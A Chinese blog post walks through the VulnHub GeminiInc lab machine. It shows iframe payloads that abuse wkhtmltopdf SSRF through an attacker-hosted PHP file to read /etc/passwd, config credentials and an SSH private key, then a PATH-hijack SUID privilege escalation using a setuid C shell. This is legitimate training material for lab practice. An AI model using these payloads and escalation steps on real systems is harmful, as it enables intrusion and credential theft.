freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

VnlnHub GeminiInc-Pentest
xiaopanghacker 2022-10-22 17:56:06 139481
所属地 北京

靶场搭建

靶场下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip

下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

启动虚拟机

1666431648_6353baa0cd013ec40c56d.png!small?1666431649373

靶场搭建完毕。

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

1666431661_6353baad27898f5a5c51d.png!small?1666431661818

147为kali攻击机ip,所以152为靶机ip

扫描靶机端口服务开放情况

1666431672_6353bab81a204f4b77774.png!small?1666431672877

开放了22端口存在SSH服务

开放了80端口存在HTTP服务,且中间件为Apache2.4.25

先访问一下WEB

1666431683_6353bac359b2d885ee394.png!small?1666431683925

页面上的信息显示当前我们时Guest用户,并且页面使用了开源框架,并且给出了给github地址

1666431699_6353bad371c7d36245620.png!small?1666431700402

在查看源码时发现了/test2/login.php页面

1666431712_6353bae0e3f1d1780449f.png!small?16664317135691666431716_6353bae48065a8c0d1552.png!small?1666431717149

知道源码地址,我们尝试去查看源码

在源码中的install.php文件中发现了一对默认账号密码admin/1234

1666431729_6353baf13b325dad31268.png!small?1666431729723

使用这对账号密码尝试登录刚才发现的login.php页面

发现登录成功,用户变成了admin用户

1666431741_6353bafdd6317f37ebc25.png!small?1666431742520

查找页面其它功能,发现只有查看用户信息和编辑信息功能还有输出成PDF功能

1666431752_6353bb082c6b2cac91c20.png!small?1666431753060

尝试修改用户信息

1666431763_6353bb13b671140094cc4.png!small?1666431764322

在Display name 处发现了一个存储型XSS漏洞,但是这个漏洞不能让我们拿到shell

1666431773_6353bb1d34910e9d84cd2.png!small?1666431773909

1666431781_6353bb25cb654c0456d0e.png!small?1666431782407

查看输出成PDF这个功能

1666431791_6353bb2f75cb60b57f61c.png!small?1666431792136

在文档属性中看到创建者为wkhtmltopdf0.12.4,似乎是这个导出功能所使用的框架工具

1666431801_6353bb39b98fa109f1d56.png!small?1666431802338

所以我们可以搜索一下看这个框架是否存在漏洞可以利用

发现果然存在可以利用漏洞

存在SSRF导致的任意文件读取漏洞

1666431813_6353bb451a35022a4a549.png!small?1666431813881

所以我们尝试向刚才存在存储型XSS的地方输入exp,利用img,iframe等标签来读取文件

<iframe src="file:///etc/passwd></iframe>

1666431835_6353bb5b87ec510b4990b.png!small?1666431836100

发现无法读取出本地文件

1666431847_6353bb6700436d4848842.png!small?1666431847576

来尝试读取远程文件

使用python搭建一个临时网站

1666431857_6353bb713f2d17a0d9a05.png!small?1666431857809

<iframe src="http://192.168.52.147/php-reverse-shell.php"></iframe>

发现确实存在远程文件读取

1666431875_6353bb830dba0429bfc09.png!small?1666431876202

存在远程文件读取的话,本地文件读取应该也是存在的,应该是存在某些限制导致我们前面读取失败

经过搜索发现可以通过构造远程包含读取文件的PHP文件来达到读取文件的目的

1666431887_6353bb8f634e6eb68f474.png!small?1666431888282

在/var/www/html下创建一个PHP文件

1666431897_6353bb994522f1d65c68a.png!small?1666431897795

启动apache服务

1666431907_6353bba3e61c4d273ccd2.png!small?1666431908621

然后构造请求

<iframe src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>

保存输出PDF,发现成功读取了文件

1666431931_6353bbbb1c8cb61332e1c.png!small?1666431931900

这个iframe窗口大小不够完全显示内容,把大小调大

<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>

发现gemini1用户可以登录

1666432272_6353bd103441eec35b827.png!small?1666432272926

再尝试看能否读取到/etc/shadow文件,发现读取不到,证明权限不够

1666432282_6353bd1a0f2ddbe5690e6.png!small?1666432282661

此漏洞在这只能实现文件的读取,不能实现命令执行

所以我们要尽量去读取一些敏感文件

在源码中找到配置文件的位置

1666432292_6353bd243cd7fe14e3ba1.png!small?1666432292962

尝试读取配置文件

<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/var/www/html/test2/inc/settings.php"></iframe>

成功读取到配置文件

1666432315_6353bd3bd3efecedc4023.png!small?1666432316578

成功读取到数据库账号密码,但是数据库并没有对外开放

猜测这个密码可能也是ssh登陆的密码,所以尝试登录

1666432326_6353bd46b883d97373852.png!small?1666432327327

发现并不正确,但是发现可以通过公钥登录

尝试读取公钥,看家目录下是否存在公私钥

<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/home/gemini1/.ssh/id_rsa"></iframe>

发现果然存在私钥

1666432354_6353bd6218e28b4d4d004.png!small?1666432354958

将公钥复制保存

1666432369_6353bd7169139e49e4b28.png!small?1666432370526

赋予权限,成功登录

1666432378_6353bd7a1ab1588a1673f.png!small?1666432378796

浏览了各目录没有发现有用的信息

提权

sudo提权

sudo -l 查看是否有可提权的命令

1666432395_6353bd8bd4a1655658aaf.png!small?1666432396464

不能通过这种方式提权

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见可用于提权root权限文件

nmap

vim

find

bash

more

less

nano

cp

awk

发现有一个不常见的文件

1666432413_6353bd9d4193bd653892b.png!small?1666432413993

不知道这个文件的功能是什么,尝试执行

1666432425_6353bda99ea15a5cd4898.png!small?1666432426356

发现列出了网卡信息和端口开放情况和当前日期时间

似乎这些信息都是linux自带的命令输出的内容

查看文件类型,未linux elf可执行文件

1666432436_6353bdb4f03ec12a36059.png!small?1666432437573

查看包含字符串,发现果然包含这些系统命令

1666432445_6353bdbde5a085afbfe46.png!small?1666432446890

发现三个命令都由绝对路径,且当前用户无权限修改

只有date这个命令没有绝对路径,所以我们创建一个date文件,修改环境变量,让listinfo这个程序执行

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

再/home/gemini1目录下创建date.c文件(在其它目录下没有权限)

1666432475_6353bddb6a6324651297d.png!small?1666432476113

编译

1666432482_6353bde2dc7ce8e81f281.png!small?1666432483443

修改环境变量

1666432495_6353bdef9b1b46f09258e.png!small?1666432496221

执行listinfo,提权成功

1666432505_6353bdf9ca07af6ea8741.png!small?1666432506541

获得到flag

1666432517_6353be0554c4b85f9c7f5.png!small?1666432518041


# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 xiaopanghacker 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
xiaopanghacker LV.6
这家伙太懒了,还未填写个人描述!
  • 36 文章数
  • 46 关注者
ATT&CK红队评估(红日靶场一)
2022-10-28
VnlnHub GeminiInc-Pentest-v2
2022-10-26
VulnHub narak
2022-10-21
文章目录